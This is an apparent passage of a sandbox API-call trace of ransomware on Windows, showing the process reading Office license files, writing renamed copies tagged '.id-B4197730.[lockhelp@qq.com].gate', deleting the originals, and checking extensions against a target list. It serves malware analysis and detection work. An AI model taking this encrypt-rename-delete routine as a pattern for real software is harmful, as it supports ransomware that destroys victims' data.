[0315.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0315.722] lstrlenW (lpString=".zip") returned 4 [0315.722] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.722] lstrlenW (lpString=".rar") returned 4 [0315.722] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.722] lstrlenW (lpString=".bz2") returned 4 [0315.722] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.722] lstrlenW (lpString=".7z") returned 3 [0315.722] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0315.722] lstrlenW (lpString=".dbf") returned 4 [0315.722] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0315.722] lstrlenW (lpString=".1cd") returned 4 [0315.722] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0315.722] lstrlenW (lpString=".jpg") returned 4 [0315.722] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.723] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=11586) returned 1 [0315.723] CloseHandle (hObject=0x554) returned 1 [0315.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 0x220 [0315.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0315.723] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.723] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0315.724] GetLastError () returned 0x0 [0315.724] ReadFile (in: hFile=0x554, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x2d42, lpOverlapped=0x0) returned 1 [0315.832] WriteFile (in: hFile=0x414, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0315.833] ReadFile (in: hFile=0x554, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.833] WriteFile (in: hFile=0x414, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x108, lpOverlapped=0x0) returned 1 [0315.833] SetEndOfFile (hFile=0x414) returned 1 [0315.833] CloseHandle (hObject=0x414) returned 1 [0315.833] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.833] SetEndOfFile (hFile=0x554) returned 1 [0315.837] CloseHandle (hObject=0x554) returned 1 [0315.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 1 [0315.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0315.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0315.842] lstrlenW (lpString=".doc") returned 4 [0315.842] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.842] lstrlenW (lpString=".docx") returned 5 [0315.842] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.842] lstrlenW (lpString=".pdf") returned 4 [0315.842] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.842] lstrlenW (lpString=".xls") returned 4 [0315.842] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.842] lstrlenW (lpString=".xlsx") returned 5 [0315.842] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.842] lstrlenW (lpString=".ppt") returned 4 [0315.842] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0315.842] lstrlenW (lpString=".zip") returned 4 [0315.842] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.842] lstrlenW (lpString=".rar") returned 4 [0315.842] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.842] lstrlenW (lpString=".bz2") returned 4 [0315.842] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.842] lstrlenW (lpString=".7z") returned 3 [0315.842] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0315.843] lstrlenW (lpString=".dbf") returned 4 [0315.843] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0315.843] lstrlenW (lpString=".1cd") returned 4 [0315.843] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0315.843] lstrlenW (lpString=".jpg") returned 4 [0315.843] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.844] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=9601) returned 1 [0315.844] CloseHandle (hObject=0x4b0) returned 1 [0315.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 0x220 [0315.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0315.845] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.845] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0315.845] GetLastError () returned 0x0 [0315.845] ReadFile (in: hFile=0x4b0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x2581, lpOverlapped=0x0) returned 1 [0315.920] WriteFile (in: hFile=0x554, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x2590, lpOverlapped=0x0) returned 1 [0315.921] ReadFile (in: hFile=0x4b0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.921] WriteFile (in: hFile=0x554, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x10c, lpOverlapped=0x0) returned 1 [0315.921] SetEndOfFile (hFile=0x554) returned 1 [0315.922] CloseHandle (hObject=0x554) returned 1 [0315.922] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.922] SetEndOfFile (hFile=0x4b0) returned 1 [0315.934] CloseHandle (hObject=0x4b0) returned 1 [0315.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 1 [0315.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0315.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0315.984] lstrlenW (lpString=".doc") returned 4 [0315.984] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.984] lstrlenW (lpString=".docx") returned 5 [0315.984] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.984] lstrlenW (lpString=".pdf") returned 4 [0315.984] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.984] lstrlenW (lpString=".xls") returned 4 [0315.984] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.984] lstrlenW (lpString=".xlsx") returned 5 [0315.984] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.984] lstrlenW (lpString=".ppt") returned 4 [0315.984] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0315.984] lstrlenW (lpString=".zip") returned 4 [0315.985] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.985] lstrlenW (lpString=".rar") returned 4 [0315.985] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.985] lstrlenW (lpString=".bz2") returned 4 [0315.985] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.985] lstrlenW (lpString=".7z") returned 3 [0315.985] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0315.985] lstrlenW (lpString=".dbf") returned 4 [0315.985] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0315.985] lstrlenW (lpString=".1cd") returned 4 [0315.985] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0315.985] lstrlenW (lpString=".jpg") returned 4 [0315.985] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.990] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=11576) returned 1 [0315.990] CloseHandle (hObject=0x4c0) returned 1 [0315.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 0x220 [0315.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0315.991] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.991] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0315.997] GetLastError () returned 0x0 [0315.997] ReadFile (in: hFile=0x4c0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x2d38, lpOverlapped=0x0) returned 1 [0316.037] WriteFile (in: hFile=0x528, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0316.038] ReadFile (in: hFile=0x4c0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.038] WriteFile (in: hFile=0x528, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x106, lpOverlapped=0x0) returned 1 [0316.038] SetEndOfFile (hFile=0x528) returned 1 [0316.038] CloseHandle (hObject=0x528) returned 1 [0316.038] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.038] SetEndOfFile (hFile=0x4c0) returned 1 [0316.040] CloseHandle (hObject=0x4c0) returned 1 [0316.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 1 [0316.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0316.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0316.042] lstrlenW (lpString=".doc") returned 4 [0316.042] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.042] lstrlenW (lpString=".docx") returned 5 [0316.042] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.042] lstrlenW (lpString=".pdf") returned 4 [0316.042] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.042] lstrlenW (lpString=".xls") returned 4 [0316.042] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.042] lstrlenW (lpString=".xlsx") returned 5 [0316.042] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.042] lstrlenW (lpString=".ppt") returned 4 [0316.042] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0316.042] lstrlenW (lpString=".zip") returned 4 [0316.042] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.042] lstrlenW (lpString=".rar") returned 4 [0316.042] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.042] lstrlenW (lpString=".bz2") returned 4 [0316.042] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.042] lstrlenW (lpString=".7z") returned 3 [0316.042] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0316.042] lstrlenW (lpString=".dbf") returned 4 [0316.042] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0316.042] lstrlenW (lpString=".1cd") returned 4 [0316.042] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0316.043] lstrlenW (lpString=".jpg") returned 4 [0316.043] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.043] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=11674) returned 1 [0316.043] CloseHandle (hObject=0x4c0) returned 1 [0316.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0316.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0316.044] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.044] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0316.044] GetLastError () returned 0x0 [0316.044] ReadFile (in: hFile=0x4c0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x2d9a, lpOverlapped=0x0) returned 1 [0316.065] WriteFile (in: hFile=0x528, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x2da0, lpOverlapped=0x0) returned 1 [0316.066] ReadFile (in: hFile=0x4c0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.066] WriteFile (in: hFile=0x528, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x130, lpOverlapped=0x0) returned 1 [0316.066] SetEndOfFile (hFile=0x528) returned 1 [0316.066] CloseHandle (hObject=0x528) returned 1 [0316.067] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.067] SetEndOfFile (hFile=0x4c0) returned 1 [0316.079] CloseHandle (hObject=0x4c0) returned 1 [0316.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0316.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0316.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0316.080] lstrlenW (lpString=".doc") returned 4 [0316.080] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.080] lstrlenW (lpString=".docx") returned 5 [0316.080] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.080] lstrlenW (lpString=".pdf") returned 4 [0316.080] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.080] lstrlenW (lpString=".xls") returned 4 [0316.080] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.080] lstrlenW (lpString=".xlsx") returned 5 [0316.081] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.081] lstrlenW (lpString=".ppt") returned 4 [0316.081] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0316.081] lstrlenW (lpString=".zip") returned 4 [0316.081] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.081] lstrlenW (lpString=".rar") returned 4 [0316.081] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.081] lstrlenW (lpString=".bz2") returned 4 [0316.081] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.081] lstrlenW (lpString=".7z") returned 3 [0316.081] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0316.081] lstrlenW (lpString=".dbf") returned 4 [0316.081] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0316.081] lstrlenW (lpString=".1cd") returned 4 [0316.081] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0316.081] lstrlenW (lpString=".jpg") returned 4 [0316.081] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.081] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=11644) returned 1 [0316.081] CloseHandle (hObject=0x4c0) returned 1 [0316.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft 